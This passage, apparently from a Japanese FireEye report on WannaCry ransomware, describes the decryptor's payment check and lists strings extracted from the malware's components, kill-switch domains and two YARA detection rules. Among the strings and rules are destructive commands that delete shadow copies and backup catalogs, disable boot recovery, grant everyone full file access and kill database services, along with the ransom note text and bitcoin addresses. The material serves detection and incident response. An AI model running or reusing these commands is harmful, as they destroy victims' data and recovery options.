ユーザーが "Check Payment" をクリックすると、マルウェアはまず、ファイル 00000000.dky がシステム上に存在するかチェックします。もしファイルがあれば、00000000.pky から取得したキーで1つのファイルを暗号化し、00000000.dky から取得したキーで復号することにより、キーの検証を試みます。

もしファイルがなければ、マルウェアは 00000000.eky のコンテンツをOnionサーバーへ送信します。サーバーからのレスポンスは、00000000.dky に保存されます。もしキーが認証できなければ、マルウェアは次のコンテンツをメッセージボックスに表示します。

あなたは支払いをしていないか、まだ支払いの確認が取れていません!

未払いであればすぐに支払って、2時間後に再度チェックして下さい。

最適なチェック時間: 月曜から金曜の9:00am – 11:00am GMT

身代金が支払われずに復号ボタンがクリックされると、マルウェアは f.wnry にリストされたファイルを復号します。f.wnry にリストされているファイルは、ランダムに選ばれ、埋め込まれた公開キーで暗号化されたファイルです。このプロセスは、前述の暗号化コンポーネントのセクションで取り上げています。

ユニークな文字列

mssecsvc.exe

(MD5: db349b97c37d22f5ea1d1841e3c89eb4)

·    SMBr

·    PC NETWORK PROGRAM 1.0

·    LANMAN1.0

·    Windows for Workgroups 3.1a

·    LM1.2X002

·    LANMAN2.1

·    NT LM 0.12

·    SMBs

·    Windows 2000 2195

·    Windows 2000 5.0

·    SMBu

·    __USERID__PLACEHOLDER__@

·    \\172.16.99.5\IPC$

·    __TREEID__PLACEHOLDER__

·    __USERID__PLACEHOLDER__@

·    SMB3

·    __TREEID__PLACEHOLDER__

·    __USERID__PLACEHOLDER__@

·    \t

·    h6agLCqPqVyXi2VSQ8O6Yb9ijBX54jY6KM+sz33NmS6TK8XlOk920s0E0aajOV++wrR92ds1FOLBO+evLPj4sIvAjLvaLdgk8+BlNZs8PMa9bQ33+0hNXMjbyjXwB40Q4KiDbip/d7N0CmRT1gLy+n2Rp/EYO5Fkapa4Y4kqDhPvLuOfGUvjN4BNdBk23r0/8cbGhUqHrML0az1LCeE3BqKLCL3gP10fExyMnFGtbq3rBd+5eKxSXYVD4fBKtFYI47YYbjYxxF76O9LNZEpPP9SiCEo9qRYLDcYzGu81JRU7/PJA1t1skDj8abBEOqAOXimo54/eZzGmLJ92xLwDIl8rHuZsUywgeZH/tSPXYQi0Pswy57TYZ/0/P7qyy18UVuiwGaf989u6seK2ER1R+aoJtvES8V0Zsx6slbdWrGxe4P62uwFxXStC/+qpCauvw/qpZvZo9wb458ezftwsbuOUYNlMWgBno/C5cT5tZZvDw9cBmHGcaVuvs+JAbsWoEsUaZd3R3Mn/1c1xYAumA/0VVaASNuohaU+8CmGSpny9/6ngCdejX4X//JeRJeLSP1f2AtrbAR8jSk5UgNllJcWnf+EM/Gyz

·    h5DH0RqsyNfEbXNTxRzla1zNfWz0bB4fqzrdNNfNXvtTv9FWqyXCEHLhOz9p7JXzJBBUd0OR9rg8DFXIyNXMHCfeX5v/YjDkYmaBrFWuOKpwLyotORDEi1GMahE7btGFTN2IMgml2b9wZvqSuc7aAciGNkl7+NgmkG9r323QqSJrjCgp+DJ9URAkHRp/sBsr1o2YKlVmsY6mPAOnlmaEwFLrPTm5WIYnd0yOc3abTlt6R1RfwenXgqn5K1K6Uq5o7T+KblzWV1TXo0zTIBD/CwnKbkITPd7GkK+fG//5Oj2ESIrNTwBRdIGzDYcK1VTlSYl0RMsMMZvWqZAhNBs9xfpyBgzAn+5NpIUwKnm6HS2UbNab6SQIQF53r0+Rx8w7xZkOEayDuGvPQ32Y7zfHtj911mdZeLmlXULTazhCdl+lYNd6aoUthPLUew6ng+vSLSxqF1N7+/bFkcWd5vuCPigEKxEg+X3d+JviOJaI9GJ2HWIT8ehFzv6JP7ymkH0XaHYKLPxR8Htcc2E35+8q074yiBdThfaOMI18K65supem5lEgTe2lQdQurhhNhgbmYPpmWsSerB8R4CiDHQg6B1xxN9lpUnCWCn37Ib9vdQ2V90almoOJi/+5PD+F/rT0hmgD1lUoqZ9KfEAB/D3JVZFHKCPtFO1LWNuXu9DHS0cChPvbPTNgL1fuz3hWniAOjJxyXhilxEmUKoCuaHrjL7/mCwA8mUTF8nZfDOYFw/Rqr70SWFUVy18

·    SMB3

·    __TREEID__PLACEHOLDER__

·    __USERID__PLACEHOLDER__@

·    userid

·    treeid

·    __TREEPATH_REPLACE__

·    \\%s\IPC$

·    Microsoft Base Cryptographic Provider v1.0

·    %d.%d.%d.%d

·    mssecsvc2.0

·    Microsoft Security Center (2.0) Service

·    %s -m security

·    C:\%s\qeriuwjhrf

·    C:\%s\%s

·    WINDOWS

·    tasksche.exe

·    CloseHandle

·    WriteFile

·    CreateFileA

·    CreateProcessA

·    32.dll

·    http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com

 

tasksche.exe

(MD5: 84c82835a5d21bbcf75a61706d8ab549)

·    .der .pfx .key .crt .csr .p12 .pem .odt .ott .sxw .stw .uot .3ds .max .3dm .ods .ots .sxc .stc .dif .slk .wb2 .odp .otp .sxd .std .uop .odg .otg .sxm .mml .lay .lay6 .asc .sqlite3 .sqlitedb .sql .accdb .mdb .db .dbf .odb .frm .myd .myi .ibd .mdf .ldf .sln .suo .cs .c .cpp .pas .h .asm .js .cmd .bat .ps1 .vbs .vb .pl .dip .dch .sch .brd .jsp .php .asp .rb .java .jar .class .sh .mp3 .wav .swf .fla .wmv .mpg .vob .mpeg .asf .avi .mov .mp4 .3gp .mkv .3g2 .flv .wma .mid .m3u .m4u .djvu .svg .ai .psd .nef .tiff .tif .cgm .raw .gif .png .bmp .jpg .jpeg .vcd .iso .backup .zip .rar .7z .gz .tgz .tar .bak .tbk .bz2 .PAQ .ARC .aes .gpg .vmx .vmdk .vdi .sldm .sldx .sti .sxi .602 .hwp .snt .onetoc2 .dwg .pdf .wk1 .wks .123 .rtf .csv .txt .vsdx .vsd .edb .eml .msg .ost .pst .potm .potx .ppam .ppsx .ppsm .pps .pot .pptm .pptx .ppt .xltm .xltx .xlc .xlm .xlt .xlw .xlsb .xlsm .xlsx .xls .dotx .dotm .dot .docm .docb .docx .doc

·    WANACRY!

·    %s\\%s

·    %s\\Intel

·    %s\\ProgramData

·    cmd.exe /c \"%s\"

·    XIA

·    115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn

·    12t9YDPgwueZ9NyMgw519p7AA8isjr6SMw

·    13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94

·    %s%d

·    Global\\MsWinZonesCacheCounterMutexA

·    tasksche.exe

·    TaskStart

·    t.wnry

·    icacls . /grant Everyone:F /T /C /Q

·    attrib +h .

·    WNcry@2ol7

 

Encryptor

(MD5: f351e1fcca0c4ea05fc44d15a17f8b36)

·    kgptbeilcq

·    TaskStart

·    c.wnry

·    %s

·    del /a %%0

·    %d%d.bat

·    ConvertSidToStringSidW

·    advapi32.dll

·    SYSTEM

·    S-1-5-18

·    EVERYONE

·    %s\%d%s

·    .WNCRYT

·    WANACRY!

·    .WNCRY

·    .WNCYR

·    \\

·    @WanaDecryptor@.bmp

·    @WanaDecryptor@.exe.lnk

·    @Please_Read_Me@.txt

·    %s\%s

·    ..

·    %s\*

·    .dll

·    .exe

·    ~SD

·    @WanaDecryptor@.exe

·    Content.IE5

·    Temporary Internet Files

·    This folder protects against ransomware. Modifying it will reduce protection

·    \Local Settings\Temp

·    \AppData\Local\Temp

·    \Program Files (x86)

·    \Program Files

·    \WINDOWS

·    \ProgramData

·    \Intel

·    $\

·    TESTDATA

·    %08X.dky

·    Global\MsWinZonesCacheCounterMutexA

·    Global\MsWinZonesCacheCounterMutexW

·    cmd.exe /c reg add %s /v "%s" /t REG_SZ /d "\"%s\"" /f

·    HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

·    %s %s

·    taskse.exe

·    @WanaDecryptor@.exe

·    tasksche.exe

·    %s\%s\%s

·    %s\*.*

·    @WanaDecryptor@.exe.lnk

·    @echo off

·    echo SET ow = WScript.CreateObject("WScript.Shell")> m.vbs

·    echo SET om = ow.CreateShortcut("%s%s")>> m.vbs

·    echo om.TargetPath = "%s%s">> m.vbs

·    echo om.Save>> m.vbs

·    cscript.exe //nologo m.vbs

·    del m.vbs

·    u.wnry

·    %.1f BTC

·    $%d worth of bitcoin

·    wb

·    r.wnry

·    b.wnry

·    attrib +h +s %C:\%s

·    $RECYCLE

·    %C:\%s

·    $RECYCLE

·    %s\hibsys%s

·    taskdl.exe

·    f.wnry

·    cmd.exe /c start /b %s vs

·    %s co

·    taskkill.exe /f /im mysqld.exe

·    taskkill.exe /f /im sqlwriter.exe

·    taskkill.exe /f /im sqlserver.exe

·    taskkill.exe /f /im MSExchange*

·    taskkill.exe /f /im Microsoft.Exchange.*

·    %s fi

·    %08X.eky

·    %08X.pky

·    %08X.res

 

Decryptor

(MD5: 7bf2b57f2a205768755c07f238fb32cc)

·     Connecting to server...

·     s.wnry

·     %08X.eky

·     %08X.res

·     00000000.res

·     %08X.dky

·     %08X.pky

·     Connected

·     Sent request

·     Succeed

·     Received response

·     Congratulations! Your payment has been checked!

·     Start decrypting now!

·     Failed to check your payment!

·     Please make sure that your computer is connected to the Internet and

·     your Internet Service Provider (ISP) does not block connections to the TOR Network!

·     You did not pay or we did not confirmed your payment!

·     Pay now if you didn't and check again after 2 hours.

·     Best time to check: 9:00am - 11:00am GMT from Monday to Friday.

·     You have a new message:

·     c.wnry

·     runas

·     WanaCrypt0r

·     Software\

·     %04d-%02d-%02d %02d:%02d:%02d

·     WANACRY!

·     .org

·     .WNCYR

·     .WNCRY

·     @WanaDecryptor@.bmp

·     @WanaDecryptor@.exe.lnk

·     @Please_Read_Me@.txt

·     %s\%s

·     ..

·     %s\*

·     Content.IE5

·     Temporary Internet Files

·     This folder protects against ransomware. Modifying it will reduce protection

·     \Local Settings\Temp

·     ppData\Local\Temp

·     \Program Files (x86)

·     \Program Files

·     \WINDOWS

·     \ProgramData

·     \Intel

·     Please select a host to decrypt.

·     All your files have been decrypted!

·     Pay now, if you want to decrypt ALL your files!

·     f.wnry

·     My Computer

·     *.res

·     open

·     mailto:

·     Wana Decrypt0r 2.0

·     %s %s

·     cmd.exe

·     /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet

·     13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94

·     English

·     m_%s.wnry

·     msg\

·     <https://

·     <http://

·     %d/%d/%d %02d:%02d:%02d

·     00;00;00;00

·     http://www.btcfrog.com/qr/bitcoinPNG.php?address=%s

·     mailto:%s

·     https://www.google.com/search?q=how+to+buy+bitcoin

·     https://en.wikipedia.org/wiki/Bitcoin

·     Send %.1f BTC to this address:

·     %.1f BTC

·     Send $%d worth of bitcoin to this address:

·     %02d;%02d;%02d;%02d

·     b.wnry

·     ---    %s    %s    %d    %I64d    %d

·     Failed to send your message!

·     Please make sure that your computer is connected to the Internet and

·     your Internet Service Provider (ISP) does not block connections to the TOR Network!

·     Your message has been sent successfully!

·     You are sending too many mails! Please try again %d minutes later.

·     Too short message!

·     %d%%

·     %s\%s

·     tor.exe

·     %s\%s\%s

·     TaskData

·     taskhsvc.exe

·     127.0.0.1

別表A

確認済みキルスイッチドメイン

次の表は、確認済みのキルスイッチドメインと、関連するハッシュのサンプルです。

ドメイン

関連するMD5ハッシュのサンプル

iuqssfsodp9ifjaposdfjhgosurijfaewrwergwea.com

c2559b51cfd37bdbd5fdb978061c6c16

ayylmaotjhsstasdfasdfasdfasdfasdfasdfasdf.com (このドメインはWannaCry関連のドメインの形式と一致していますが、ある特定のサンプルと明白にリンクしているわけではありません。WannaCryの活動との関連が考えられるため組織はこのドメインに注目しています。)

a44964a7be94072cdfe085bc43e7dc95

ifferfsodp9ifjaposdfjhgosurijfaewrwergwea.com

80ce983d22c6213f35867053bec1c293

iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com

db349b97c37d22f5ea1d1841e3c89eb4

iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.test

96dff36b5275c67e35097d77a120d0d4

別表B

YARAルール

FireEyeはWannaCry検知用に次のYARAルールを開発しました。

rule FE_RANSOMWARE_WANNACRY {
            meta:version=".4"
            filetype="PE"
            author="Ian.Ahl@fireeye.com @TekDefense"
            date="2017-05-12"
            description="Generic detection for most WannaCry variants"
strings:
            // Bitcoin URLs
            $bcURL1 = "http://www.btcfrog.com/qr/bitcoinPNG.php?address=%" ascii wide nocase
            $bcURL2 = "https://www.google.com/search?q=how+to+buy+bitcoin" ascii wide nocase

            // Ransom Message
            $msg1 = "Congratulations! Succeed to check your payment!" ascii wide
            $msg2 = "Start decrypting now!" ascii wide
            $msg3 = "All your files have been decrypted!" ascii wide
            $msg4 = "Pay now, if you want to decrypt ALL your files!" ascii wide
            $msg5 = "Send $%d worth of bitcoin to this address:" ascii wide
            $msg6 = "Ooops, your files have been encrypted!" ascii wide

            // WANNA Strings
            $wanna1 = "Wanna Decryptor 1.0" ascii wide
            $wanna2 = "Wana Decrypt0r" ascii wide
            $wanna3 = "Wana Decryptor" ascii wide
            $wanna4 = "WANNACRY" ascii wide nocase
            $wanna5 = "WanaCrypt0r" ascii wide nocase
            $wanna6 = "WANACRY!" ascii wide
            $wanna7 = "WNcry@2ol7" ascii wide
            $wanna8 = "wcry@123"
            $wanna9 = "wcry@2016"

            // File references
            $fileA1 = "!WannaCryptor!.bmp" ascii wide
            $fileA2 = "!WannaDecryptor!.exe.lnk" ascii wide
            $fileA3 = "!Please Read Me!.txt" ascii wide

            $fileB1 = "@WanaDecryptor@.bmp" ascii wide
            $fileB2 = "@WanaDecryptor@.exe.lnk" ascii wide
            $fileB3 = "@Please_Read_Me@.txt" ascii wide

            // CMDS
            $cmd1 = "cmd.exe /c start /b vssadmin.exe Delete Shadows /All /Quiet" ascii wide nocase
            $cmd2 = "wmic shadowcopy delete" ascii wide
            $cmd3 = "bcdedit /set {default} bootstatuspolicy ignoreallfailures" ascii wide
            $cmd4 = "bcdedit /set {default} recoveryenabled no" ascii wide
            $cmd5 = "wbadmin delete catalog -quiet" ascii wide
            $cmd6 = "icacls . /grant Everyone:F /T /C /Q" ascii wide

            // MISC
            $misc1 = "StartTask" wide ascii
            $misc2 = "b.wry" wide ascii
            $misc3 = "c.wry" wide ascii
            $misc4 = "m.wry" wide ascii
            $misc5 = "inflate 1.1.3 Copyright 1995-1998 Mark Adler" wide ascii
            $misc6 = "?AVtype_info@@" wide ascii

condition:
            (
                        (
                                    (uint16(0) == 0x5A4D)
                        )
                        and
                        (
                                    all of ($fileA*)
                                    or
                                    all of ($fileB*)
                                    or
                                    (4 of ($msg*) and 2 of ($bcURL*))
                                    or
                                    2 of ($wanna*)
                                    or
                                    (2 of ($msg*) and 1 of ($cmd*))
                                    or
                                    4 of ($cmd*)
                                    or
                                    (1 of ($wanna*) and 1 of ($cmd*))
                                    or
                                    (1 of ($wanna*) and 3 of ($misc*))
                        )
            )
}

 

rule FE_RANSOMWARE_WANNACRY_EB {
           meta:version=".1"
           filetype="PE"
           author="Ian.Ahl@fireeye.com @TekDefense"
           date="2017-05-12"
           description="Focusing on the WannaCry variants with worm capabilities"
strings:

            // EB related strings in WANNACRY
            $eb1 = "__USERID__PLACEHOLDER__@" ascii wide
            $eb2 = "__TREEID__PLACEHOLDER__" ascii wide
            $eb3 = "LANMAN1.0" ascii wide
            $eb4 = "LANMAN2.1" ascii wide
            $eb5 = "\\PIPE\\" ascii wide
            $eb6 = "\\\\%s\\IPC$" ascii wide
            $eb7 = "__TREEPATH_REPLACE__" ascii wide
            $eb8 = "/K__USERID__PLACEHOLDER__" ascii wide

condition:
            (
                        (
                                    (uint16(0) == 0x5A4D)
                        )
                        and
                        (
                                    all of ($eb*)
                        )
            )
}

FireEye ® (ファイア・アイ)について

FireEyeはインテリジェンス主導型のセキュリティ企業です。顧客企業は、FireEyeの革新的セキュリティ技術、国家レベルの脅威インテリジェンス、世界的に著名なMandiant®コンサルティングの知見が統合された単一プラットフォームを、自社のセキュリティ対策の一部としてシームレスに組み込むことができます。このアプローチにより、FireEyeは準備、防御、インシデントレスポンスといった、組織がサイバー攻撃対策をするうえでの課題となっていた複雑性や負担を解消します。FireEyeは「Forbes Global 2000」企業の4割以上を含む、世界67か国以上の5,800を超える組織で利用されています。

FireEyeウェブサイト: https://www.fireeye.jp/                               

【報道関係の方からのお問い合せ先】

ファイア・アイ広報事務局
(ホフマンジャパン株式会社内)
担当: 小倉 / 上田 / 田中
Tel: 03-5159-5750
Email: FireEye_PR@hoffman.com

# # #

FireEyeはFireEye, Inc.の登録商標です。その他すべてのブランド、製品、またはサービスの名前は、それぞれ該当する所有者の商標またはサービスマークである可能性があります。